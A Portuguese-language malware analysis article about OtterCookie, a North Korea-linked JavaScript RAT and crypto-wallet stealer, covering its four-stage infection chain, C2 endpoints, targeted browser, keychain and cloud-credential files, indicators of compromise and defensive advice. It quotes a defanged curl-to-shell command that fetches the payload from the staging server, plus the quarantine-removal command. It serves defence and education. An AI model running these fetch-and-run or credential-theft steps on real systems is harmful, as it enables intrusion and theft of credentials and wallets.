OtterCookie: análise técnica do trojan da Coreia do Norte que rouba carteiras de cripto

Artigo

OtterCookie: análise técnica do trojan da Coreia do Norte que rouba carteiras de cripto

Rodrigo ColissiRodrigo Colissi
04 de setembro de 202618 min de leitura
MalwareInfostealers

Resumo: neste artigo analisamos o OtterCookie, um trojan de acesso remoto em JavaScript ligado à Coreia do Norte e usado na campanha Contagious Interview. Vamos percorrer a cadeia de infecção em quatro estágios — dos instaladores falsos de apps Mac ao payload final —, dissecar o RAT baseado em Socket.IO, o roubo de credenciais de navegador e carteiras de criptomoeda, o coletor de clipboard e o scanner de arquivos em memória, e fechar com IoCs e um guia de defesa para usuários e organizações.

Introdução

O OtterCookie foi documentado pela primeira vez pela NTT Security em dezembro de 2024, mas observações do SOC japonês indicam que ele circula desde setembro daquele ano. É um malware escrito em JavaScript que roda sobre Node.js (plataforma de execução de JavaScript fora do navegador) e combina quatro capacidades: um trojan de acesso remoto (RAT, na sigla em inglês — software que dá a um operador remoto controle sobre a máquina infectada), um stealer de credenciais de navegador e carteiras de criptomoeda, um coletor de clipboard (área de transferência do sistema) e um scanner de arquivos sensíveis em memória.

A família evolui da linhagem da campanha Contagious Interview, operação ligada à Coreia do Norte em que atacantes se passam por recrutadores e enviam testes de codificação, repositórios ou pacotes maliciosos a candidatos. Já cobrimos a descoberta mais recente da Jamf Threat Labs na notícia sobre os 14 instaladores falsos de apps Mac; aqui o foco é a engenharia reversa do malware em si.

O que torna o OtterCookie relevante é a convergência: relatórios da Elastic Security Labs mostram que a fronteira entre o OtterCookie e o BeaverTail (o downloader clássico da campanha) está ficando difusa, com o payload se transformando em um "pacote tudo-em-um" que dispensa a etapa em Python. A seguir, detalhamos cada componente técnico.

Pré-requisitos

Para acompanhar esta análise, é útil conhecer:

  • Conceitos básicos de malware e análise estática — saber ler scripts shell e JavaScript ofuscado. A análise de malware é um bom ponto de partida se você quer ver o fluxo completo com uma ferramenta como o pestudio.
  • Noções de macOS internals — entender o que são o Gatekeeper (recurso de segurança do macOS que verifica apps antes de executá-los) e o atributo de quarentena.
  • Familiaridade com Node.js e npm — o payload roda como um processo Node e a cadeia usa o gerenciador de pacotes para montar o ambiente.
  • Um ambiente de análise isolado — VM ou sandbox (ambiente controlado e descartável para executar código suspeito), porque vamos tratar de amostras maliciosas reais.

Passo a passo: reconstruindo a cadeia de infecção

A cadeia de infecção do OtterCookie é multi-estágio: são quatro saltos entre o artefato recebido pela vítima e o payload final, cada um baixado do servidor de staging somente após o estágio anterior executar com sucesso.

O primeiro passo é a isca. Em uma variante documentada pela Jamf Threat Labs, a vítima recebe um instalador falso de um app conhecido — The Unarchiver, Sketch, Bartender, Mole e outros — distribuído como imagem de disco (DMGformato de imagem de disco do macOS) ou pacote de instalação (PKGformato de instalador do macOS). Em outra variante, da Elastic, a isca é um repositório de um projeto de e-commerce que parece funcional, com o código malicioso escondido por esteganografia (técnica de ocultar dados dentro de outros arquivos, no caso, dentro de imagens SVG de bandeiras de países) em comentários HTML de arquivos SVG.

Em seguida, o gatilho. No caso do DMG, os atacantes alteraram o Info.plist do app para que um executável oculto chamado .macos rode no lugar do binário legítimo. Esse executável é um script shell compilado para Go com o projeto Bunster (compilador que transforma shell scripts em binários Go), compilado para Intel x86-64 — o que torna o Rosetta 2 (camada de tradução da Apple que roda apps Intel em Macs com Apple Silicon) um requisito. Ele remove o atributo de quarentena do app verdadeiro, abre o app como isca na frente da vítima e, nos bastidores, executa um curl para o servidor de staging:

curl -sL 'hxxp://162.0.239[.]85:3000/task/mac?token=30621301' | sh

Na rota PKG, o instalador coloca um script preinstall em /Library/Application Support/<appname>Extra e o script postinstall do pacote o executa em background — o mesmo curl, o mesmo destino. Em ambos os casos, o primeiro estágio só roda porque a vítima autorizou a remoção da quarentena ao contornar o aviso do Gatekeeper.

Por fim, a cascata de downloads. O script /task/mac retornado pelo servidor cria uma pasta oculta ~/.task, baixa o segundo estágio tokenlinux.sh e o executa. Esse script baixa o build oficial do Node.js de nodejs.org, puxa o parser.js malicioso e um package.json do staging, roda npm install e executa o parser.js. É esse arquivo — parser.js — o próprio OtterCookie: o payload final que se registra no servidor de comando e controle e começa a roubar dados. Os componentes extras scdata e ldata que acompanham o parser são, respectivamente, o cliente RAT e o módulo de roubo de credenciais.

Explicação técnica: os quatro módulos do OtterCookie

Abaixo apresentamos o diagrama da cadeia e, em seguida, detalhamos o funcionamento de cada componente do payload.

Cadeia de infecção do OtterCookie

Iscainstalador falso DMG/PKGou repositório de testeEstágio 1.macos remove quarentenacurl /task/macEstágio 2tokenlinux.sh + JWTNode.js + parser.jsEstágio 3OtterCookie (parser.js)RAT + stealerExfiltraçãocredos, wallets,clipboard e arquivos

O RAT baseado em Socket.IO

O componente central é um trojan de acesso remoto que usa Socket.IO (biblioteca JavaScript de comunicação bidirecional em tempo real, baseada em WebSockets) para abrir um canal persistente com o servidor controller.rightwidth[.]dev sobre HTTPS. A escolha é estratégica: em vez de um protocolo proprietário, o malware usa uma stack web comum, o que mistura o tráfego de comando e controle com tráfego legítimo de aplicações.

O implant garante que apenas uma instância rode por máquina usando um PID lock (arquivo que registra o identificador do processo para impedir execuções duplicadas) em ~/.npm/vhost.ctl. Na inicialização, envia um beacon de registro (sinal periódico que anuncia a presença da vítima ao servidor) para o endpoint /api/service/process/<uid> com as informações do host — é assim que o operador descobre um novo alvo. Um canal de log em /api/service/makelog mantém o operador informado sobre a saúde do implant e eventuais erros.

O operador envia um evento command contendo um comando shell, que o implant executa via child_process.exec() e devolve a saída como evento message pela mesma conexão Socket.IO. Na prática, isso dá ao atacante um shell interativo em tempo real na máquina da vítima — a análise da NTT mostrou comandos reais como ls, cat e buscas por chaves de carteiras de criptomoeda em documentos.

O malware também detecta ambientes virtualizados: usa wmic no Windows, system_profiler no macOS e /proc/cpuinfo no Linux procurando por assinaturas de VMware, VirtualBox, QEMU, Parallels e outras. Quando detecta uma VM, não aborta a execução — apenas marca a resposta do C2 com o sufixo (VM), funcionando como um filtro para priorizar vítimas reais em vez de sandboxes de análise.

Roubo de credenciais de navegador e carteiras de criptomoeda

O módulo ldata é um stealer (programa que coleta e exfiltra dados sensíveis) multiplataforma que se disfarça de processo benigno: ele define seu próprio título de processo como npm-cache para passar despercebido em listas de processos. Detecta o sistema operacional em tempo de execução e enumera perfis de navegadores — Chrome, Edge, Brave, Opera e LT Browser, nas pastas padrão de cada plataforma.

De cada perfil, o stealer coleta o banco de credenciais salvas (Login Data), os dados de autofill/preenchimento automático (Web Data) e as bases das extensões de carteira de criptomoeda (Local Extension Settings). O malware mantém uma lista fixa de mais de 25 IDs de extensões de carteiras — MetaMask, Phantom, Keplr, Trust, Coinbase Wallet, Binance Chain e outras. Quando encontra uma extensão da lista, sobe a base LevelDB (banco de dados embarcado usado pelas extensões do Chrome para guardar estado) inteira para o endpoint /cldbs do domínio ldb.rightwidth[.]dev. As oito primeiras carteiras da lista recebem tratamento prioritário: o C2 confirma o recebimento e o malware tenta de novo até dar certo; as demais usam abordagem "fire-and-forget", sem confirmação nem retry.

As credenciais e dados de autofill são enviados via HTTP POST multipart para o endpoint /upload do mesmo domínio, com o User-Agent axios/1.18.1. Em máquinas macOS, o módulo também exfiltra o keychain (chaveiro do macOS, o cofre de senhas do sistema) — mais precisamente o arquivo ~/Library/Keychains/login.keychain-db.

O coletor de clipboard

O quarto módulo monitora a área de transferência a cada 500 milissegundos e exfiltra qualquer mudança para o C2 via /api/service/makelog. No macOS, usa o comando nativo pbpaste (utilitário que imprime o conteúdo do clipboard no terminal) via execSync; no Windows, abre um novo processo PowerShell com Get-Clipboard a cada ciclo. O impacto é direto: senhas copiadas, endereços de carteira, frases-semente de recuperação (seed phrasesas palavras-chave que dão acesso a uma carteira de criptomoeda) e chaves de API copiadas para o clipboard vazam automaticamente, sem nenhuma interação extra do atacante. No Linux, a função não tem implementação — o loop simplesmente não faz nada.

O scanner de arquivos em memória

O scanner percorre os diretórios do usuário (no Windows, todas as unidades montadas, enumeradas via WMIinterface de gerenciamento do Windows) procurando por padrões de arquivo sensíveis: arquivos de ambiente (.env), documentos (.doc, .docx, .pdf, .xls, .xlsx, .txt), chaves (.pem, .key), imagens, código-fonte (.ts, .js, .json) e históricos de shell (.bash_history, .zsh_history). Também coleta qualquer arquivo cujo caminho contenha .aws, .azure, .config, .ssh — as pastas de credenciais de nuvem e chaves SSH — independentemente da extensão.

A exfiltração vai para o endpoint /upload do domínio upload.rightwidth[.]dev, sem criptografia ou compressão adicional. A lista de exclusão revela o cuidado dos operadores: ignoram node_modules, .git, ferramentas de IA como .claude, .cursor e .gemini, e uma série de extensões e diretórios de ferramentas — um sinal claro de que o alvo são credenciais de desenvolvimento e cripto, não dados aleatórios.

A cadeia multi-estágio com JWT

Todos os estágios além do primeiro são protegidos por um JWT (JSON Web Token — token assinado que autentica e carrega informações entre partes) no parâmetro st da URL. Decodificado, o token HS256 contém o IP de origem da vítima, um sessionId, um contador de step, um timestamp, o token original e os campos padrão iat (emissão) e exp (expiração). Esse desenho serve a dois propósitos: controlar que cada estágio só seja baixado por quem passou pelo anterior (uma espécie de controle de acesso do malware) e rastrear a sessão da vítima — se um pesquisador baixa só o estágio 1, não consegue os demais sem o token válido. A variante atual ainda comenta uma função de detecção de VMware no script — sinal de que a funcionalidade existe, mas foi desativada nesta iteração.

Gatekeeper e quarentena: a barreira que a campanha precisa derrubar

Todo esse arsenal depende de um detalhe crucial: o macOS bloqueia a execução dos instaladores porque eles não têm assinatura nem notarização (certificação da Apple de que o app foi verificado). O Gatekeeper só deixa rodar o que é assinado por um desenvolvedor identificado ou baixado da App Store. Para contornar isso, os instaladores maliciosos executam xattr -d com.apple.quarantine no app — removendo o atributo estendido de quarentena que marca arquivos baixados da internet — e pedem à vítima que ignore o aviso. É por isso que a engenharia social é tão importante na campanha: sem a colaboração da vítima (clicar em "abrir assim mesmo" ou rodar o script), a infecção não acontece. A análise da Jamf confirmou que todos os 14 instaladores eram "não assinados" via codesign, e que o executável oculto é Intel-only — o que, em Macs Apple Silicon, adiciona a dependência do Rosetta 2.

Como se proteger

Respeite o Gatekeeper e a quarentena. O aviso do macOS não é um obstáculo burocrático — é a principal barreira contra esta campanha. Se o sistema informa que o app não é de um desenvolvedor identificado, não remova a quarentena nem use "abrir assim mesmo". Baixe aplicativos apenas da App Store ou do site oficial do desenvolvedor.

Desconfie de processos seletivos que pedem para executar código. Nenhuma empresa legítima pede a um candidato para desabilitar proteções, rodar comandos no terminal ou instalar pacotes fora dos canais oficiais. Se um "recrutador" fizer isso, interrompa o contato e reporte. Valide a identidade do suposto recrutador antes de qualquer interação — ferramentas de OSINT como o theHarvester ajudam a cruzar informações públicas.

Revise repositórios e instaladores antes de executar. Se você trabalha com desenvolvimento, analise scripts de instalação (preinstall/postinstall), hooks do git, tarefas de VS Code e arquivos de inicialização do servidor. Procure por chamadas dinâmicas como eval(), leitura de arquivos de imagem no código e conteúdo codificado em comentários de SVG — as assinaturas exatas desta campanha. O pestudio ajuda na análise estática de binários e instaladores.

Separe suas carteiras de cripto do ambiente de trabalho. Carteiras de extensão em navegadores usados para trabalho são alvos diretos — o OtterCookie tem uma lista fixa de extensões e sobe a base inteira. Prefira carteiras de hardware (dispositivos físicos que guardam chaves privadas offline) ou, no mínimo, uma extensão dedicada em um navegador isolado, e nunca mantenha frases-semente em arquivos ou no clipboard.

Monitore endpoints e rede. Em organizações, mantenha a prevenção de ameaças, a detecção avançada e os controles web ativos, especialmente para equipes que lidam com material externo de recrutamento. Soluções como o Wazuh ajudam a detectar execução de scripts suspeitos em ~/.task, conexões Socket.IO inesperadas e tráfego para os domínios de comando e controle listados abaixo.

Tenha um plano de resposta para candidatos comprometidos. Se um colaborador rodou um projeto ou instalador suspeito, isole o dispositivo da rede imediatamente, preserve logs, rotacione senhas, chaves de API, tokens SSH, GitHub e npm, e revise as sessões ativas nos navegadores. O custo de tratar cedo é muito menor do que o de um acesso inicial que vira um comprometimento de supply chain na organização.

Indicadores de comprometimento (IoCs)

A tabela abaixo consolida os indicadores publicados pela Jamf Threat Labs, pela Elastic Security Labs e pela NTT Security. IPs e domínios estão defangados para evitar resolução acidental — reative apenas em plataformas controladas como SIEM, MISP ou VirusTotal.

TipoIndicadorDescrição
IP162.0.239.85Servidor de staging, porta 3000
IP147.124.202.205C2 do operador, portas 7671, 7676 e 7679
IP45.159.248.55C2 identificado pela NTT Security
Domíniow3pi.socialResolve para o host de staging
Domíniominiapp.w3pi.socialCN do certificado TLS do staging
Domíniosoftcus.netResolve para o host de staging
Domíniopobelstudio.comResolve para o host de staging
Domíniopobel.studioResolve para o host de staging
Domíniokikaiverse.comResolve para o host de staging
Domíniolalitae.comResolve para o host de staging
Domíniorightwidth.devInfraestrutura de C2 (Elastic)
Domínioldb.rightwidth.devExfiltração de credenciais e wallets
Domínioupload.rightwidth.devExfiltração de arquivos
Domíniocontroller.rightwidth.devCanal Socket.IO do RAT
Domíniofile.rightwidth.devDownload de payloads Windows
Domíniozkservice.cloudIoC da NTT Security
Domíniow3capi.marketingIoC da NTT Security
Domíniopayloadrpc.comIoC da NTT Security
URLhxxp://162.0.239.85:3000/task/mac?token=30621301Recuperação do payload do estágio 1
URLhxxp://162.0.239.85:3000/task/tokenlinux?token=30621301&st=<JWT>Recuperação do script do estágio 2
URLhxxp://162.0.239.85:3000/task/parser?token=30621301&st=<JWT>Recuperação do parser (OtterCookie)

Conclusão

O OtterCookie representa a maturidade operacional da campanha Contagious Interview: um RAT JavaScript multiplataforma com canal de comando e controle persistente via Socket.IO, roubo de credenciais de navegador e carteiras de criptomoeda, coleta contínua de clipboard, scanner de arquivos sensíveis e uma cadeia de entrega multi-estágio protegida por JWT. A evolução mais preocupante é a convergência — o payload absorveu as funções que antes eram de outros malwares da mesma linhagem e passou a ser entregue por vetores variados: repositórios de teste, pacotes npm, hooks do git e agora instaladores falsos de apps Mac. Para usuários, a defesa continua sendo a combinação de higiene digital e respeito às proteções do sistema. Para organizações, a lição é clara: desenvolvedores são o novo perímetro, e material de "processo seletivo" externo deve ser tratado como potencialmente malicioso até prova em contrário.

Perguntas frequentes

O que é o OtterCookie?

É um trojan de acesso remoto em JavaScript ligado à Coreia do Norte, usado na campanha Contagious Interview. Ele combina um RAT baseado em Socket.IO com roubo de credenciais de navegador e carteiras de criptomoeda, coleta de clipboard e scanner de arquivos sensíveis.

Como o OtterCookie é entregue?

Por uma cadeia multi-estágio: instaladores falsos de apps Mac (DMG/PKG), repositórios de projetos de código trojanizados com payloads escondidos em SVGs, pacotes npm, hooks do git e tarefas de VS Code. O vetor varia, mas o destino é o mesmo — rodar o parser.js malicioso.

O que exatamente ele rouba?

Credenciais salvas e dados de autofill de navegadores (Chrome, Edge, Brave, Opera), as bases de dados de mais de 25 extensões de carteiras de criptomoeda (MetaMask, Phantom, Keplr, Trust), o keychain do macOS, o conteúdo do clipboard e arquivos sensíveis como chaves SSH, credenciais de nuvem (.aws, .azure) e documentos.

Como funciona o acesso remoto?

O malware abre um canal Socket.IO persistente com o servidor controller.rightwidth[.]dev. O operador envia um evento "command" com um comando shell, que o implant executa na máquina da vítima e devolve a saída pela mesma conexão — um shell interativo em tempo real.

O Gatekeeper bloqueia esse ataque?

Sim, em condições normais. Os instaladores não são assinados nem notarizados, então o Gatekeeper bloqueia a execução. Por isso a campanha depende de engenharia social para que a vítima remova a quarentena ou ignore o aviso do sistema.

Como saber se fui infectado?

Procure por uma pasta oculta ~/.task, arquivos como tokenlinux.sh e parser.js, executáveis com nome .macos dentro de aplicativos, conexões de rede para os IPs e domínios da tabela de IoCs, e processos Node.js disfarçados de npm-cache. Em caso de dúvida, acione uma ferramenta de análise ou um especialista.

O que fazer se executei um instalador ou projeto suspeito?

Desconecte o dispositivo da rede, preserve os logs, rode uma varredura com ferramentas como o pestudio e rotacione todas as senhas, chaves de API, tokens SSH, GitHub e npm, além das credenciais de carteiras de criptomoeda. Considere acionar uma equipe de resposta a incidentes.

Desenvolvedores brasileiros estão na mira?

A campanha Contagious Interview já usou iscas de emprego remoto em vários países, e o vetor de instaladores amplia o alcance para qualquer pessoa que baixe apps para Mac. O risco existe para desenvolvedores brasileiros que participam de processos seletivos remotos e para usuários comuns que buscam apps fora da loja oficial.

Fontes e leituras adicionais

Gostou? Receba novos conteúdos por e-mail.

Entre na comunidade

Discussões técnicas e novidades em primeira mão.